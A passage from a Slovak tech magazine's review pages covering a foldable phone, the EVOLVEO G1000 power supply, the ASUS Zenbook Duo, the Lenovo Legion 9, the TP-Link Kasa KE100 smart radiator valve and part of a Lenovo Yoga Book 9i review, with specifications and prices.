porovnateľnú s vlajkovými fotomobilmi. 
Musím pochváliť kvalitu záberov nielen cez 
deň, ale aj v problematických svetelných pod-
mienkach, napríklad v protisvetle a aj večer a v 
noci. Farby sú trochu presaturované – presne 
takého zábery však žnú úspechy na sociálnych 
sieťach. 

Používateľská nadstavba Magic OS 7.2 pri-
náša zaujímavé softvérové inovácie umož-
ňujúce využiť potenciál veľkého rozloženého 
displeja. Funkcia Dual Tasking Efficiency 
umožňuje vertikálne rozdeliť obrazovku. 

»  ĽUBOSLAV LACKO

PLUSY, MÍNUSY:

+

–

Dizajn, malá hrúbka, výborné fotoapa-
ráty, výkonný procesor, výdrž batérie
Potešilo by bezdrôtové nabíjanie  
a vyššia vodovzdornosť

PARAMETRE:

 Procesor: 4 nm procesor Qualcomm Snap-
dragon 8 Gen2 (1× 3,19 GHz Cortex-X3 + 2× 
2,8 GHz Cortex-A715 + 2× 2,8 GHz Cortex-A710 
+ 3× 2,0 GHz Cortex-A510), GPU Adreno 740; 
pamäť 16 GB RAM; 512 GB úložného priestoru; 
displej: skladací LTPO OLED, 7,92", rozlíšenie 2156 
× 2344 px, 403 PPI, obnovovacia frekvencia max. 
120 Hz, HDR10+ 1600 nitov, predný LTPO OLED, 
1060 × 2376 px, 120 Hz, HDR10+, 2500 nitov; 
zadný fotoaparát: hlavný širokouhlý fotoaparát 
50 Mpx, OIS, f/1,9, ultraširokouhlý 50 Mpx, f/2,0, 
ohnisková vzdialenosť 13 mm, teleobjektív 20 
Mpx, 2,5× optický zoom, OIS, f/2,4, ohnisková 
vzdialenosť 62 mm; predný fotoaparát 16 Mpx, 
f/2,2; batéria 5000 mAh; nabíjanie: káblové 66 
W, reverzné káblové 5 W; konektivita: 5G, LTE, 
Wi-Fi 5, Wi-Fi Direct, bluetooth 5.3 A2DP, LE, aptX 
HD; operačný systém Android 13, Magic OS 7.2; 
rozmery: zložený – 156,7 × 74,1 × 9,9 mm, rozt-
vorený – 156,7 × 145,4 × 4,7 mm; hmotnosť: 231 g 
  Cena:  1699  EUR

HODNOTENIE:

» Voľba napájacieho zdroja je pri 
stavbe počítača jeden z najdôleži-
tejších bodov. Napájací zdroj musí 
byť dimenzovaný tak, aby zvládal 
napájanie počítača vo všetkých si-
tuáciách nezávisle od záťaže. Pod-
dimenzovaný zdroj môže mať pri 
vysokej záťaži problém udržať správne 
hodnoty napätia, čo môže spôsobovať mrz-
nutie, výpadky a v krajnom prípade aj poško-
denie komponentov. Veľmi predimenzovaný 
zdroj zasa nemá zmysel, pretože okrem 
vyššej obstarávacej ceny môže pri nízkych 
zaťaženiach pracovať s malou účinnos-
ťou, takže zbytočne spotrebúva elektrinu. 
Okrem výkonu sú zdroje zväčša označované 
aj kategóriou účinnosti, ktorá vyjadruje, na-
koľko hospodárne dokáže zdroj 
pracovať pri určitých 
úrovniach záťaže. 
Ak staviate po-
čítač s bežnou 
skrinkou formátu 
ATX, mali by sa 
vám tam zmestiť 
všetky štandardné 
zdroje tohto for-
mátu. Pokiaľ má 
vaša skrinka iný for-
mát, ATX mini, SFX a 
podobne, treba prispôsobiť 
tomu aj výber zdroja, inak sa vám tam 
nemusí zmestiť. 

Testovaný zdroj EVOLVEO G1000 patrí k 
lacnejším na trhu, neznamená to však, že by 
nemal čo ponúknuť. Ako názov napovedá, 
ide o výkonný zdroj s výkonom až 1000 W 
a certifikáciou účinnosti 80 plus Gold. Táto 
certifikácia zaručuje vysokú efektivitu za 
rôznych zaťažení zdroja. Keď je zdroj zaťa-
žený asi na 50 %, efektivita je 90 – 91 %. Pri 
vysokom alebo nízkom zaťažení efektivita 
zdroja klesá. Preto je jeho efektivita 87 % 
pri 20-percentnom alebo plnom stopercent-
nom zaťažení. Zdroj je určený do výkonných 
počítačových zostáv s grafickými kartami s 
najnovšou zbernicou PCIe 5.0. Môžete ho tak 
využívať s procesormi Intel i7, i9 alebo AMD 
R7, R9 v kombinácii s grafickými kartami 
radu NVIDIA RTX 4070 TI a vyššími, prípadne 
Radeon RX 7900 XT a vyššími. Pochopiteľne, 
ak máte zostavu s viacerými pevnými dis-
kami, je dobré ho využiť aj s trochu slabšími 
komponentmi. Zdroj je plne modulárny, 
takže všetky káble sa pripájajú konektormi. 
Vďaka tomu možno pripojiť len káble, ktoré 
v konkrétnej zostave potrebujete, a ostatné 

vám nebudú v skrinke prekážať. O 
chladenie zdroja sa stará tichý, níz-

kootáčkový ventilátor s prieme-
rom 140 mm. Vzhľadom na výkon 
tento zdroj nemá semipasívne 
chladenie. Ventilátor zdroja je 

vždy v prevádzke a jeho rýchlosť sa 
reguluje v závislosti 

od potreby chladenia. 
Regulácia rýchlosti je ria-
dená samotným zdrojom. 
Súčasťou sú aj ochrany 
proti poškodeniu zdroja 
alebo komponentov v 
PC. Ochrana proti skratu, preťaženiu, prepä-
tiu, podpätiu a tepelná ochrana sú neodde-

liteľné súčasti systému. 
K zdroju sa 

dodáva 
dovedna 10 

káblov, ktoré by mali 
pokryť všetky bežné potreby 

napájania. Káble sú dodané v textilnom 
vrecku, takže tie nevyužité si môžete odložiť, 
aby sa vám neroztratili. 

 »  RENÉ HUBINSKÝ 

EVOLVEO G1000

„VÝKONNÝ 
MODULÁRNY 
ZDROJ S DOBROU 
EFEKTIVITOU A EŠTE 
LEPŠOU CENOU.“

Napájanie pre výkonné stroje

PLUSY, MÍNUSY:

+
–

Výkon, účinnosť, modulárna konštrukcia 
s množstvom káblov, tiché chladenie
Nič podstatné

PARAMETRE:

 Model: špecifikácia ATX 3.0, tichý 14 cm ventilá-
tor s reguláciou otáčok, aktívne PFC, certifikácia 
80+ GOLD, účinnosť minimálne 87 %/90 %/87 % 
pri 20 %/50 %/100 % zaťažení, ochrana proti sk-
ratu, preťaženiu, prepätiu, podpätiu a tepelná 
ochrana, dodávaná kabeláž: 1× 20 + 4 pin (600 
mm), 2× CPU 4 + 4 pin (700 mm), 1× PCI-E 5.0 
(12 + 4) pin (600 mm), 3× molex + molex + FDD 
(450 + 150 + 150 mm), 9× SATA + SATA + SATA 
(450 + 150 + 150 mm), 4× PCI-E (6 + 2) + (6 + 2) 
pin (600 + 150 mm)
  Cena:  134,50 EUR

HODNOTENIE:

TIP 
REDAKCIE

POMER  
CENA/VÝKON
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» Pri výbere notebooku často rie-
šime dilemu medzi uhlopriečkou 
displeja, od ktorej sa potom odvíja 
veľkosť zariadenia, a mobilitou, 
teda medzi rozmermi a hmotnos-

ťou. Inak 
p o v e d a n é , 
n o t e b o o k  s o 
16-palcovým dis-
plejom je super na 
prácu aj zábavu, 
ale pri častých le-
toch vám v sties-
nených pomeroch 
ekonomickej triedy 
komfortnú prácu 

neumožní. Jedno z riešení 
tejto dilemy je konver-
tibilné zariadenie ASUS 
Zenbook Duo,  model 
2024, ktorý má dva 14-pal-
cové displeje OLED, obidva 
s 3K rozlíšením. Po roztvo-
rení umožňujú rozšíriť pra-
covnú plochu až na veľkosť 
19,8 palca.

Zariadenie môžete využí-
vať ako klasický notebook 
so 14-palcovým displejom, 
no ak máte k dispozícii do-
statok priestoru, môžete 
ho rozložiť tak, že jeho dva 
displeje budú nad sebou, 
pričom obidva budú v re-
žime na šírku, prípadne 
ho môžete na stôl po-
ložiť  ako roztvorenú 
knihu, takže displeje 
budú vedľa seba a obi-
dva budú v režime na 
výšku. V obidvoch prí-
padoch displeje tvoria 
funkčne kontinuálnu 
plochu, tak ako keď 
vedľa seba posta-
víte dva monitory s 
tenkými rámikmi. 
Pánt  umožňuje 
r o z t v o r e n i e  o 
180°, takže takto 
rozložený note-

book s dvoma displejmi môžete 
takisto položiť na stôl a prezen-

tovať zobrazovaný obsah ľuďom 
sediacim okolo stola. V režime 
notebooku je odnímateľná klá-

vesnica ASUS ErgoSense s pod-
svietenými klávesmi a touchpadom 

magneticky prichytená nad spodným 
displejom, takže ho prekrýva. Zadná strana 
modulu klávesnice má mäkkú hmatovú vrs-
tvu, ktorá chráni druhú obrazovku pred 
poškriabaním. S notebookom je 
klávesnica elektricky prepojená 
pomocou kontaktov, takže sa 
môže nabíjať a má nulovú laten-
ciu. Na nabíjanie môžete použiť aj 

port USB-C v klávesnici. Keď je modul klá-
vesnice odpojený, komunikuje so zariade-
ním cez bluetooth 5.2. 

Konvertibilné zariadenie ASUS Zenbook 
Duo je vyrobené na 90 % z recyklovanej 
zliatiny horčíka a hliníka, ktorá je 
ľahká, pevná a dobre odvádza 
teplo. Vzhľadom na sce-
náre používania je 
vypínač umiest-
n e n ý  b l í z k o 
pántu, takže je 
v pohodlnom do-
sahu. Ak chcete vyu-
žívať vertikálne alebo 
horizontálne rozloženie 
dvoch obrazoviek na stole, 

treba zo spodnej časti vy-
klopiť nastaviteľný sto-
jan. Je konštruovaný tak, 
že drží zariadenie v obidvoch 
polohách. V usporiadaní obra-
zoviek nad sebou môžete nasta-

viť sklon spodnej obrazovky 
v rozsahu 40 – 70 stupňov. 
Stojan je pri displejoch nad 
sebou stabilný, takže ani 
pri dotykovom ovládaní na 
hornom displeji nebadať 
žiadny náznak nestability. 
V polohe, keď sú displeje 
vedľa seba na výšku, treba 
stojan úplne vyklopiť a 
nájsť stabilnú polohu, keď 
je zariadenie položené na 
hrane obidvoch displejov 
a opreté o stojan. V tejto 
polohe nemôžete meniť 
uhol naklonenia. V balení 
nájdete aj kartónový mag-
netický skladací stojan, 
ktorý zlepší ergonómiu v 
režime notebooku tým, 
že spodná časť s kláves-
nicou bude mať sklon 
približne 12 stupňov. 
Zároveň sa tým zlepší 
prístup chladiaceho 
vzduchu do note-
booku. 

Testoval som ma-
ximálnu konfigurá-
ciu s procesorom 
Intel Core Ultra 9 
s integrovanou 
jednotkou NPU 
na akceleráciu 
AI, 32 GB pa-
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ASUS ZENBOOK DUO UX8406

„FLEXIBILNÉ ZARIADENIE 
S VÝKONNÝM 

PROCESOROM NA 
RÔZNE PRACOVNÉ 
SCENÁRE, PRIČOM 

JEHO DVA ROZLOŽENÉ 
DISPLEJE VYTVORIA 

ZOBRAZOVACIU PLOCHU 
S UHLOPRIEČKOU  

19,8 PALCA.“

Inovatívny flexibilný notebook  
s dvoma displejmi

TIP 
REDAKCIE
INOVATÍVNOSŤ



mäte 
L P D -

DR5x a 2 TB 
ú l o ž i s k o m  S S D 

PCIe 4.0. Nový mobilný 
procesor Intel Core Ultra 9 

185H má spolu 16 jadier, pričom 
6 z nich je typu Performance s maxi-

málnou turbo frekvenciou 5,1 GHz na vý-
počtovo náročné úlohy, 8 Efficient jadier 
s taktovacou frek-
venciou 2,3 – 3,8 
GHz sa využíva na 
bežné úlohy a dva 
Low Power Efficient 
jadrá (1,8 – 2,5 GHz) 
sú optimalizované 
na čo najnižš iu 
spotrebu a využí-
vajú sa na úlohy na 
pozadí.  Procesor 
má integrovanú 
aj jednotku NPU 
(Neural Processing 
Unit),  určenú na 
výpočty súvisiace 
so strojovým uče-
ním a neuróno-
vými sieťami. Túto 
jednotku využí-
vajú frameworky 
W i n d o w s M L , 
O p e n V I N O ,  D i -
rectML, ONNX RT a 
takisto čoraz viac aplikácií. 
Príjemne ma prekvapil 
výkon integrovanej gra-
fiky Intel Arc, zahral 
som si aj niektoré gra-
ficky náročnejšie hry. 
Samozrejme len na 
jednom displeji. 
Skúšal som stra-

tegickú hru Age of Empires 
II hrať na obidvoch dis-

plejoch, ale v tomto 
k o n k r é t n o m 

p r í p a d e 
pôsobi lo 
o d d e l e -

nie displejov 
kĺbom trochu ru-

šivo. 

Obidva dotykové 14-pal-
cové displeje OLED sú rovnaké, 

majú rozlíšenie 2880 × 1800 pixelov, 
pomer strán 16:10, obnovovaciu frek-

venciu 120 Hz a maximálny jas 400 nitov. 
Výrobca udáva 100 % farebného priestoru 
DCI-P3. Pri charaktere mojej práce, teda pri 
písaní článkov a občasnom vývoji aplikácií 
sa mi najviac osvedčil režim dvoch disple-
jov nad sebou. Stačí odobrať magneticky 
prichytenú klávesnicu, vyklopiť stojan a 
roztvoriť notebook tak, aby obidva dis-
pleje mali požadovaný sklon. Aplikácie, 
s ktorými som pracoval, som rozmiestnil 
najčastejšie tak, že každá z nich zaberala 

jeden displej. Pri kontrole článkov v PDF 
mi zas viac vyhovovalo postaviť zariade-
nie s displejmi na výšku, pričom som mal 
na nich zobrazenú dvojstranu. Kĺb medzi 
displejmi nepôsobil rušivo, naopak, tvoril 
prirodzenú deliacu čiaru medzi stránkami. 

Drobnou nevýho-
dou v tejto po-
lohe je, že port 
USB-A, v ktorom 
som chcel mať 
d o n g l e  m y š i , 
bol na spodnej 
hrane, našťastie 
myš  sa  da la 
prepnúť aj do 
r e ž i m u  b l u e
tooth.

Batéria s ka-
pacitou 75 Wh 
v konfigurácii 
notebook, čiže 
keď využívate 
len jeden dis-
plej,  vydrží 6 
– 8 hodín bež-
nej práce. Ak 
využívate dva 
displeje, skráti 

sa výdrž približne na 60 %, 
ale výrobca logicky pred-

pokladal, že dva displeje 
budete využívať pri 

„statických“ scená-
roch práce, keď máte 

k dispozícii napája-
nie zo siete.  

»  ĽUBOSLAV LACKO
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PLUSY, MÍNUSY:

+
–

Dva displeje OLED,  
variabilita používania, výkon
Nič podstatné

PARAMETRE:

 Procesor: Intel Core Ultra 9 185H, taktovacia 
frekvencia 2,3 GHz; 32 GB RAM LPDDR5x; 2 TB 
disk SSD M.2 PCIe 4.0, grafika integrovaná Intel 
Arc; displej: 2 × 14-palcový dotykový 2880 × 1800 
px (16:10), 400 nitov, 120 Hz, 100 % DCI-P3, Dis-
play HDR; konektivita: Wi-Fi 6E, bluetooth 5.3; 
operačný systém: Windows 11 Pro; konektory: 
2× USB-C 3.2 s podporou Thunderbolt 4 a Power 
Delivery, 1× USB-A; batéria 75 Wh, rozmery 313,5 
× 217,9 × 16,9 mm, hmotnosť 1,65 kg
  Cena:  od 1 999 EUR 
  Kúpite v 

HODNOTENIE:



» Lenovo Legion 9 16 IRX9 posky-
tuje symbiózu atraktívneho dizajnu 
a výkonného hardvéru. Je osadený 
výkonným mobilným procesorom 
Intel Core i9 série HX. Keď k tomu 
pridáme grafický výkon čipu NVI-
DIA GeForce RTX 4090, výsledkom je 
nadupaný herný notebook, ktorý môže 
výkonom konkurovať mobilným pracovným 
staniciam, prípadne ich môže úspešne suplovať. 
Dizajnu dominuje veko displeja z lisovaných 
uhlíkových vlákien so zaujímavou textúrou, pri-

čom tá je vzhľadom na 
technológiu výroby pre 
každý kus unikátna. Fa-
rebné dynamické pod-
svietenie RGB Lenovo 
Spectrum má nielen 
klávesnica, ale aj tenký 
pásik vpredu presahu-
júci do strán, pásik na 

zadnej stene nad otvormi na vyfukovanie ohria-
teho vzduchu aj logo na veku displeja. Môžete 
si nastaviť farebné efekty podľa vašich prefe-
rencií, prípadne môžete podsvietenie vypnúť a 
z herného notebooku máte seriózny notebook 
pre študenta či výkonnú pracovnú stanicu pre 
inžiniera, grafika, či editora fotografií a videí. 

Rozmery notebooku sú dané veľkosťou 
displeja, v tomto prípade s uhlopriečkou 16 
palcov. Displej vy

užíva technológiu Mini LED PureSight. 
Okrem brilantných a verných farieb a 
jasu podsvietenia 1200 nitov musím 

pochváliť pomer strán 16:10, takže 
displej poskytuje viac priestoru na 

výšku, čo oceníte pri práci s doku-
mentmi či surfovaní webom a, samo-

zrejme, aj pri väčšine hier. Napríklad pri 
MS Flight Simulatore to umožňuje zobraziť väč-
šiu časť prístrojovej dosky. Displej má obnovo-
vaciu frekvenciu 165 Hz a k plynulému zážitku z 
hier významne prispieva aj podpora technoló-
gie NVIDIA G-Sync. Displej má rozlíšenie 3200 
× 2000 pixelov. Takéto rozlíšenie, samozrejme, 
kladie vysoké nároky na výkon grafickej karty, 
ale notebook je osadený NVIDIA GeForce RTX 
4090, najvýkonnejším grafickým čipom, aký je 
v súčasnosti k dispozícii so 16 GB GDDR6, takže 
zobrazovanie v pohode „utiahne“ pri vysokej 
snímkovej frekvencii. Na grafické práce môžete 
využiť aj displej, pretože má verné podanie fa-
rieb, výrobca udáva 100 % pokrytie farebného 
priestoru DCI-P3. 

Procesor Intel Core i9-13980HX 13. generácie 
Raptor Lake umožňuje krátkodobo zvýšiť pra-
covnú frekvenciu až na 5,6 GHz, pričom sa jeho 
príkon zvýši zo štandardných 55 až na 157 wat-
tov. Aby bolo možné čo najviac využiť výkon 
inštalovaného hardvéru, potrebuje herný note-
book čo najúčinnejší chladiaci systém, pričom 

k chladeniu prispieva nielen konštrukcia 
ventilátorov a systému na odoberanie 
tepla z čipov, ale aj kovové telo zo zlia-
tiny horčíka. Pri vysokej záťaži a tep-
lote systému nad 84 stupňov Celzia 
sa aktivuje kvapalinové chladenie na-

vrhnuté v spolupráci s firmou Cooler 
Master. Kvapalinové čerpadlo 

chladí aj grafickú pamäť VRAM, 
čo umožňuje z grafického čipu 

získať 10 W TGP navyše. V praxi 
to znamená vyššie FPS a rých-

lejšie vykresľovanie pri 
hraní hier alebo 

v grafických návrhových aplikáciách. Účinnosť 
chladenia je v tomto prípade jedna z najvyšších 
priorít, a to aj za cenu vyššej hlučnosti ventilá-
torov pri maximálnej záťaži. Chladiaci systém 
využíva na optimalizáciu svojej činnosti umelú 
inteligenciu. Tú využíva aj Legion AI Engine+, 
optimalizuje celkový výkon systému tak, že dy-
namicky vyvažuje výkon procesora a grafiky s 
cieľom dosiahnuť čo najplynulejšie zobrazova-
nie čiže maximálny počet snímok za sekundu. 
O účinnosti chladenia svedčí nameraná teplota 
47,5 °C v hornej časti nad klávesnicou počas dlh-
šieho hrania. Plocha s mriežkou nad klávesnicou 
na prvý pohľad evokuje dojem, že pod ňou sú 
reproduktory. V skutočnosti sú pod mriežkami 
ventilátory chladiaceho systému. Aj táto plocha, 
pre ktorú musela byť klávesnica posunutá bliž-
šie k používateľovi aj na úkor výšky touchpadu 
a operných plôch na zápästia, svedčí o tom, 
že konštruktéri pre účinné chladenie urobili 
všetko, čo sa dalo. Stereo reproduktory Harman 
Kardon s výkonom 2 × 2 W s podporou Nahimic 
Audio sú na spodnej strane nasmerované šikmo 
nadol. Zvuk je veľmi dobrý, ale na to, aby ste si 
naplno vychutnali zvukové efekty, ktoré pre vás 
pripravili tvorcovia hier, budete potrebovať slú-
chadlá alebo externé reproduktory. Klávesnica 
disponuje aj numerickou časťou, klávesy majú 
štandardný tvar aj rozmiestnenie a hlavne hráči 
ocenia veľké klávesy kurzorových šípok. Tlačidlá 
majú presný chod, čo optimalizuje presnosť 
ovládania hry. Systém podsvietenia umožňuje 
nastaviť rôzne dynamické farebné efekty. Kva-
litný je aj široký touchpad. 

Ak spočítame maximálny 157 W TDP pro-
cesora a 175 W TGP grafického čipu, je jasné, 
prečo je pri hraní, prípadne graficky náročných 
operáciách potrebný 330 W napájací zdroj. Je 
plochý, takže sa dá relatívne dobre zbaliť do 
aktovky či kufríka. V balení napriek tomu náj-

LENOVO LEGION 9 16 IRX9 

„JEDEN Z 
NAJVÝKONNEJŠÍCH 

HERNÝCH NOTEBOOKOV, 
KTORÝ DOBRE POSLÚŽI 

AJ AKO PRACOVNÝ 
NÁSTROJ PRE INŽINIEROV, 

GRAFIKOV A ĎALŠIE 
KREATÍVNE POVOLANIA.“

Výkonný notebook pre náročných hráčov  
aj inžinierov a kreatívcov
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dete aj ďalší, menší a ľahší 140 W adaptér USB-
C, ktorý využijete pri bežnej práci a na cestách. 
Batéria s kapacitou 99,9 Wh má relevantnú 
výdrž len pri bežnej záťaži, napríklad pri práci s 
dokumentmi či sledovaní videa. Pri primerane 
nastavenom jase sa dostanete na 6 – 7 hodín.  

Väčšina konektorov je v zadnej časti, čo je 
veľmi praktické usporiadanie, pretože káble 
smerujú dozadu. Vzadu je eternetový konektor, 
dvojica portov USB-C s podporou Thunderbolt 
4, jeden port USB-A a videovýstup HDMI 2.1. 
Vzadu je aj pre Lenovo typický obdĺžnikový 
proprietárny konektor, do ktorého sa pripája 
330-wattový napájací adaptér. Výrobca myslel 
aj na pohodlné zapájanie. Kĺb displeja je totiž 
posunutý smerom dopredu a na hornej ploche 
sú nad konektormi symboly, dokonca podsvie-
tené. Vľavo je slot na SD kartu a konektor na pri-
pojenie slúchadiel. Vpravo je ďalší port USB-C, 
takže prirovnanie k pracovnej stanici obstojí, aj 
čo sa týka konektorovej výbavy. Pri pozornej-
šom pohľade, prípadne hmatom nájdete na 
pravej strane aj miniatúrny spínač, ktorým sa 
hardvérovo, teda spoľahlivo odpojí kamera nad 
displejom. 

V benchmarkovom teste PC Mark 10 získal 
tento herný notebook 8963 bodov, v teste 3D 
Mark Time Speed Way 4618 bodov. V teste 3D 
Mark Port Royal som dosiahol skóre 11 127 
bodov. Hodnoty skóre sú priemerom troch 
po sebe idúcich testov, pričom pred každou 
sériou testov sa notebook „zohrieval“ na pra-
covnú teplotu v hre Forza Horizon. Vyskúšal 
som aj niekoľko hier rôznych žánrov vrátane 
graficky veľmi náročného MS Flight Simulatora, 
plynulosť zobrazovania ma vo všetkých hrách 
aj vzhľadom na rozlíšenie doslova nadchla. Sa-
mozrejme, špičková hardvérová výbava a pré-
miové materiály sa podpísali aj na cene.  

»  ĽUBOSLAV LACKO

PLUSY, MÍNUSY:

+
–

Vysoký výpočtový a grafický výkon, dizajn, 
brilantný displej, výborné chladenie 
Nič podstatné

PARAMETRE:

 Procesor: Intel Core i9-13980HX, taktovacia 
frekvencia 2,2 – 5,6 GHz, 64 GB DDR5, 2 TB 
SSD M.2, grafika NVIDIA GeForce RTX 4090 
16 GB VRAM; displej 16" Mini LED, 3200 × 
2000 px, 1200 nitov, 16:10, 165 Hz, 100 % DCI-
P3, VESA DisplayHDR 1000, NVIDIA G-SYNC; 
reproduktory 2 × 2 W Harman Kardon: Wi-Fi 
6 (802.11ax), bluetooth 5.1; operačný systém: 
Windows 11; konektory: 2× USB-C Thunder-
bolt 4 PD 140 W, 1× USB-C 3.2 Gen. 1, 2× 
USB-A 3.2, HDMI 2.1, 3,5 mm jack, eternet, 
slot na SD kartu, batéria 99,9 Wh; rozmery 
358 × 278 × 18,9 mm, hmotnosť 2,6 kg 
  Cena:  5069 EUR

HODNOTENIE:

RECENZIE
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» Smart termostatický radiátorový ventil 
Kasa KE100 sa dodáva buď samostatne, 
alebo ako súprava s Kasa Smart Hub. 
Prívlastok smart znamená, že ventily umož-
ňujú nastaviť plány vykurovania podľa toho, 
ako sa miestnostiach, v ktorých sú namon-
tované, počas dňa a noci využívajú. Teplotu 
môžete nastavovať aj lokálne, pričom sa 
zobrazuje na displeji priamo na hlavici, a to 
pomocou aplikácie Kasa alebo hlasovými 
príkazmi prostredníctvom funkcie Amazon 
Alexa či Google Assistant.

Ventily sa jednoducho inštalujú, ale len v 
prípade, ak už máte na radiátoroch ventily 
s klasickými termostatickými hlavicami so 
závitom M30 X 1,5 mm. Pôvodné hlavice 
stačí demontovať a namontovať hlavice 
Kasa KE100. V balení sú tri adaptéry na pri-
spôsobenie rôznym typom ventilov. Kasa 
Smart Hub umožňuje pripojiť a ovládať až 
32 ventilov. 

Aplikácia Kasa poskytuje možnosť ovládať 
ventily odkiaľkoľvek, pretože hlavice sú cez 
smart hub pripojené k domácej sieti Wi-Fi, 
cez ktorú komunikujú s cloudovou službou. 
Ventil môžete otvoriť alebo zavrieť, nasta-
viť teplotu, prípadne nastaviť časové plány 
teplôt. Možnosť nastavenia cez aplikáciu 
oceníte, ak sa neplánovane vraciate domov 
a chcete, aby bol byt vyhriaty. Aplikácia 
umožňuje ovládanie aj iných kompatibil-
ných zariadení, či už sú to svetlá, zásuvky, 
alebo kamery. Môžete nastavovať takzvané 
scenáre čiže inteligentné akcie, na ktorých sa 
podieľa viac zariadení. Napríklad večer stlmiť 
svetlá a znížiť teplotu. Takisto môžete zobra-
ziť zoznamy aktivít.  Výhodou smart hlavíc je 
možnosť nastaviť v každej miestnosti po-
trebnú teplotu. Iné preferencie majú seniori 
či rodiny s malými deťmi, inú mladí ľudia. 
Samozrejme, nemôžeme od všetkých senio-
rov očakávať, že si budú nastavovať teplotný 

plán cez aplikáciu, ale nastavenie priamo 
otáčaním hlavice zvládne každý. Ventil má 
aj ochranu proti zamrznutiu, takže ak tep-
lota klesne pod určitú hodnotu, ventil sa po-
otvorí bez ohľadu na aktuálne nastavenie. 
Detská poistka zabráni tomu, aby malé deti 
pri hraní zmenili nastavenie teploty. Hlavica 
dokáže fungovať aj autonómne, napríklad v 
prípade výpadku Wi-Fi. Je napájaná z dvoch 
batérií veľkosti AA, ktoré sú pribalené. 

Na výmenu klasických ventilov za ven-
tily so smart hlavicami budete potrebovať 
kvalifikovaného remeselníka, ktorý zároveň 
dohliadne na to, aby sa neinštalovali ventily 
s hlavicami tam, kde je to nevhodné alebo 
dokonca nebezpečné. V bytovom dome 
pripojenom na centrálny zdroj tepla mô-
žete radiátory regulovať bez obmedzenia. 
V rodinných domoch treba overiť správanie 
systému po zatvorení všetkých radiátorov. 
Táto situácia nastane po dosiahnutí poža-
dovaných teplôt vo všetkých miestnostiach. 
Vtedy sa musí vypnúť kotol. Na tento účel 
sa nesmie využiť bezpečnostný termostat, 
ktorý odstaví kotol po prekročení nastave-
nej teploty. Radiátorové hlavice, či už ter-
mostatické, alebo smart hlavice ovládané z 
centrálnej riadiacej jednotky, sa nesmú po-
užiť na radiátory v rodinnom dome, ktorý na 
vykurovanie využíva kotol na pevné palivo 
bez možnosti zastavenia horenia. Termosta-
tický ventil by nemal byť v miestnosti, kde je 
centrálny termostat, ktorý ovláda elektrický 
alebo plynový kotol v rodinnom dome. 
Medzi termostatmi by mohla vzniknúť 
spätná väzba a navzájom by sa nežiaducim 
spôsobom ovplyvňovali. 

 Cena:  58,90 EUR  »  ĽUBOSLAV LACKO

Smart radiátorový ventil  
TP-Link Kasa KE100
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» Koncept virtuálnych klávesníc 
na notebookoch sa nikdy nestre-
tol s pochopením u zákazníkov, 
pretože jednoducho nedávajú 
spätnú väzbu pri písaní a na 
nejaké písanie po pamäti mô-
žete rovno zabudnúť. Lenovo 
Yoga Book 9i však teraz prináša za-
ujímavú variáciu na tému konvertibilných 
notebookov: zariadenie 2-v-1, ktoré na-
miesto klávesnice obsahuje ďalší displej. 
Tento koncept má veľkú variabilitu využi-
tia. Spodný displej môžete použiť ako vir-

tuálnu klávesnicu 
alebo čiastočne ho 
prekryť dodávanou 
bluetoothovou klá-
vesnicou, ktorá pre-
kryje 2/3 displeja. 

Pritom si môžete zvoliť, či bude klávesnica 
vo vrchnej časti displeja a pod ňou sa na 
displeji zobrazí touchpad tak ako pri bež-
ných notebookoch, alebo ju posuniete cel-
kom dole, čím sa odkryje prídavný displej a 
namiesto touchpadu budete využívať myš. 
To však nie je všetko. Pomocou zaujíma-
vého skladacieho stojana, v ktorom nosíte 
bluetoothovú klávesnicu a dodávané pero, 
môžete zvoliť aj konfiguráciu s dvoma dis-
plejmi nad sebou, pod ktorými máte blue

toothovú klávesnicu, alebo celé 
zariadenie otočíte na výšku s dis-

plejmi vedľa seba. No a nesmiem 
zabudnúť na klasické Áčko s dis-
plejmi von, ktoré výborne využi-

jete napríklad pri sledovaní videí 
či fotografií, prípadne pri prezentá-

cii zákazníkovi. Ak zvolíte duplikovanie 
obrazovky, prehráva sa na oboch disple-
joch rovnaký obraz, samozrejme, správne 
otočený. Na záver je tu ešte režim tabletu 
s displejmi pretočenými o 180°. Dovedna 
tak máte k dispozícii 7 konfigurácií využitia 
oboch displejov.   

Napriek tomu, že dvojdisplejové dizajny 
nie sú úplnou novinkou, pri väčšine doteraj-
ších modelov nešlo o dvojicu plnohodnot-
ných displejov, často bol pomocný displej 
iného typu ako hlavný, prípadne to boli 
skladacie displeje. Yoga Book 9i má dva sa-
mostatné identické 13,3-palcové dotykové 
displeje OLED s rozlíšením 2880 × 1800 
pixelov a so zvukovým panelom v pánte 
medzi nimi. Zariadenie má atraktívny ano-
dizovaný hliníkový obal v odtieni modrej 
nazvanej Tidal Teal s lesklými zaoblenými 
hranami. Portová výbava je slabšia a okrem 
trojice USB4 Type-C Thunderbolt 4 – jedného 
na ľavej a dvoch na pravej strane – tu nič iné 
nenájdete. Na pravej strane je ešte tlačidlo na-

pájania a malý posuvný prepínač na prepnutie 
5-megapixelovej webovej kamery, ktorá pod-
poruje spolu s IR snímačom funkcie Windows 
Hello. Wi-Fi 6E a bluetooth sú štandardné. 
Nabíjanie je možné cez USB-C s podporou PD.  
Vzhľadom na množstvo konfigurácií displejov 
bude zo začiatku výzvou zžiť sa s ovládaním a 
špecifikami v jednotlivých režimoch. Ak vám 
stačí jeden displej, môžete zariadenie využívať 
ako jeden z ďalších konvertibilných modelov 
Yoga. Na to však nájdete v rade Yoga aj ce-
novo dostupnejšie modely. Ak budete chcieť 
využívať obe obrazovky naraz, vyžaduje to 
trocha skúšania. Ak začnete v režime laptopu, 
pracovná plocha Windows sa zobrazuje na 
oboch obrazovkách. Keď na dolnom displeji 
poklepete ôsmimi prstami, zmení sa na vir
tuálnu klávesnicu vrátane touchpadu s dvoma 
tlačidlami myši (trojprstovým klepnutím sa 
otvorí samostatný nastaviteľný touchpad). 
Písanie na sklenenej ploche nikdy nebude 
rovnaké ako na skutočnej klávesnici, ale vir-
tuálny layout je lepší ako zvyčajne, je dosta-
točne veľký na krátke písanie a ponúka horný 
riadok klávesov pre systémové skratky, ako aj 
nastaviteľnú priehľadnosť, tri úrovne vibrácie 
alebo haptickú spätnú väzbu a voliteľný zvuk 
stlačenia klávesu.

Na vážnejšie písanie je lepšie pripojiť 
bluetoothovú klávesnicu na dolný dis-

LENOVO YOGA BOOK 9I

Dva sú lepšie ako jeden 
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plej, uchytí sa magneticky. Pri zarovnaní 
s horným okrajom dolná polovica displeja 
zobrazí virtuálny touchpad. Pri zarovnaní 
s dolným okrajom horná polovica zobrazí 
váš kalendár Outlook a spravodajský kanál 
